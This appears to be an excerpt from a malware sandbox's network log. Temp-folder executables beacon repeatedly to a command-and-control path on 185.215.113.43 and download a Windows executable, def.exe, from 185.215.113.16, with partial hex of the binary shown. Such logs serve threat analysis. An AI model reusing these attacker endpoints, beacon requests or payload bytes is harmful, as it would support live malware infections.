Nov 24, 2024 12:25:41.111695051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:25:42.493556023 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49995	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:44.434720039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:25:45.802263021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50006	185.215.113.16	80	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:47.834703922 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 12:25:49.189244032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:48 GMT Content-Type: application/octet-stream Content-Length: 2781696 Last-Modified: Sun, 24 Nov 2024 10:26:38 GMT Connection: keep-alive ETag: "6742ff5e-2a7200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 83 ec 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@yfiarvre :@kcckixnl L@.taggant@"P*@
Nov 24, 2024 12:25:49.189292908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:49.189363003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:49.189373970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:49.189500093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:49.189512014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:49.189522028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:49.189532995 CET	1236	IN	Data Raw: 78 11 2c cb 50 6e 2d 90 d9 5d 2b 08 ca 93 88 ba 75 aa 92 aa 36 48 7f 6a 05 23 61 89 9f a8 f1 9f 31 95 d7 2e 9b 86 b2 ea 81 de 68 c0 aa 4c 1d 8b e6 24 4d ba 22 17 20 86 d8 46 2a 84 e8 1c e4 9c ea 0f 3d ca 50 1a 39 e2 34 33 4c 80 c6 2d 2a 1b 13 f6 Data Ascii: x,Pn-]+u6Hj#a1.hL$M" F=P943L-:j'$Abt;U"=B2f>3(rt'1*%6dE XNX2YQ;&HA 10aCOdhGk$-oGl3J/37j.3VgG6
Nov 24, 2024 12:25:49.189544916 CET	1236	IN	Data Raw: 64 12 43 e0 8c 12 47 ac 75 fd cb c0 cf 35 41 39 17 3d 3d c4 48 48 5f a9 06 9a 67 d0 ec 55 37 cb 16 3d 77 aa 78 75 7b cd 7d 08 b9 48 ed 12 83 ca 16 71 43 f8 48 59 93 be 3a ae 9d 04 15 35 9f a1 46 36 d7 24 d0 91 30 52 ed 95 4f cb 56 26 b7 18 5f cd Data Ascii: dCGu5A9==HH_gU7=wxu{}HqCHY:5F6$0ROV&_f8-.aQHk0kTl,Xx,`=uN:W)E-M=,),g&@Qlr`%-%6u_Uib)?=HK!28G%H+X)8
Nov 24, 2024 12:25:49.189558029 CET	1236	IN	Data Raw: 2e 2f 3c d1 42 4d 43 9d 29 7a f3 ca e1 f9 32 3f dc 08 45 f8 1c 22 67 71 d1 6b 72 e9 3b ed 98 6e 33 3a 71 fb da 8e 65 8f 67 6c 18 9e f6 27 78 61 27 15 97 da cc 78 b4 ec e6 05 a1 ec 37 68 93 25 5f 22 8f b9 e8 6c 87 d3 dd df d7 cb 54 c2 5c 1c 9a fb Data Ascii: ./<BMC)z2?E"gqkr;n3:qegl'xa'x7h%_"lT\*17$#<1g(lk(T{gRhqlu"K;7.?06^<qAUbDjw/N;dIc=i9JlE\|K.Yc)Bxq0QgA7)]rA?5b
Nov 24, 2024 12:25:49.333328009 CET	1236	IN	Data Raw: d5 5a 0c 75 ff 29 22 a4 fa ad 28 8f b3 09 65 ab ca 22 31 0b cb 29 83 98 c7 3f 0f f1 cd 1a 0e bc ca 19 89 d6 17 26 d5 5d 4a ee 1e 02 2c d8 40 39 16 d3 9b cf 2d 77 4b 88 16 07 35 df 34 66 8f d6 c4 74 8d cd 3a 68 84 79 97 32 2e 5b 87 7c 92 0d 37 ed Data Ascii: Zu)"(e"1)?&]J,@9-wK54ft:hy2.[\|7a(1c1J%XJlX3R4s5CSeTGq`&!W<XJR;?&5!N&ErVKA\YYW,\3!=c9?JYW.8z[gN*mX@14Kj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50008	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:48.027627945 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:25:49.340411901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50038	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:51.348375082 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:25:52.745110989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50049	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:54.420043945 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:25:55.811435938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50060	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:57.949024916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:25:59.311727047 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50068	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:01.190375090 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:26:02.475882053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50077	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:04.622256994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:26:05.979290009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50092	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:07.636276007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:26:09.020687103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50101	185.215.113.16	80	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:10.012203932 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 12:26:11.404830933 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:11 GMT Content-Type: application/octet-stream Content-Length: 2781696 Last-Modified: Sun, 24 Nov 2024 10:26:38 GMT Connection: keep-alive ETag: "6742ff5e-2a7200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 83 ec 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@yfiarvre :@kcckixnl L@.taggant@"P*@
Nov 24, 2024 12:26:11.404903889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:26:11.404917002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:26:11.404963970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:26:11.404975891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:26:11.404988050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:26:11.405000925 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:26:11.405013084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:26:11.405081034 CET	1236	IN	Data Raw: 2c 8d 46 26 08 ad 25 cb 51 26 82 1d 1b 1d 57 5a 05 2f 6f 8e 16 9d 37 86 6c 11 2b 94 5c 47 22 b2 7e 17 73 2e cf e3 aa 74 56 b1 2c 98 cf 22 25 1e d3 6f 25 a9 9c 95 07 4d aa 0f 41 66 e5 55 3f ec ea 18 a5 a0 69 5e 97 ac 1a 62 2d ba 96 8e 9f 0f 93 25 Data Ascii: ,F&%Q&WZ/o7l+\G"~s.tV,"%o%MAfU?i^b-%W-(R?G%KKWz9E#G+WmP^2*'Nt#@lsy(!{B=Cfx1,c4$l1LBR\')5@J)`(I?
Nov 24, 2024 12:26:11.405092955 CET	1236	IN	Data Raw: 21 47 9a 59 59 c8 60 3c ea 2a 95 2c 85 66 3f 12 93 39 2a 1b f0 5b 1e fe 25 a6 5f da 90 b9 9f 0f d1 30 6a ab d7 4e 29 ef 4b 28 32 f1 dc 3b 31 9b 28 f1 3c cb 0f 66 98 b4 29 f7 32 df 36 b4 56 32 ce 86 46 f4 37 6a 12 78 c3 72 92 eb 31 80 91 c0 2b 67 Data Ascii: !GYY`<,f?9[%_0jN)K(2;1(<f)26V2F7jxr1+ge9YZfs4jH65FOuW@n;[*x+o5qIg59b$&S'$s8rC_+6CowNJ>7Y7{y~H,po+
Nov 24, 2024 12:26:11.527559042 CET	1236	IN	Data Raw: 3b 2f 44 cb e2 fe 46 2d ec 53 1a 3b fb 6b c3 e6 23 90 20 d1 88 30 48 57 8b 2f f5 22 33 d0 e3 e9 dc 99 25 de 38 29 6f a1 5c 66 f8 8d be 52 82 2c 04 37 12 f7 f3 11 24 95 17 39 df ba d0 6e b4 82 b5 41 2f 56 8b 75 3e b1 66 9e 84 c1 03 b1 40 8a e2 0b Data Ascii: ;/DF-S;k# 0HW/"3%8)o\fR,7$9nA/Vu>f@`3'zOoMUoeR!>9gk9g>[PAZOtpY/IkRhT4tFfH9w=K,<yxdW38:m.RNtVq-.iLV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50107	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:11.043201923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:26:12.397100925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50117	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:14.544394970 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:26:15.849708080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50133	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:18.403417110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
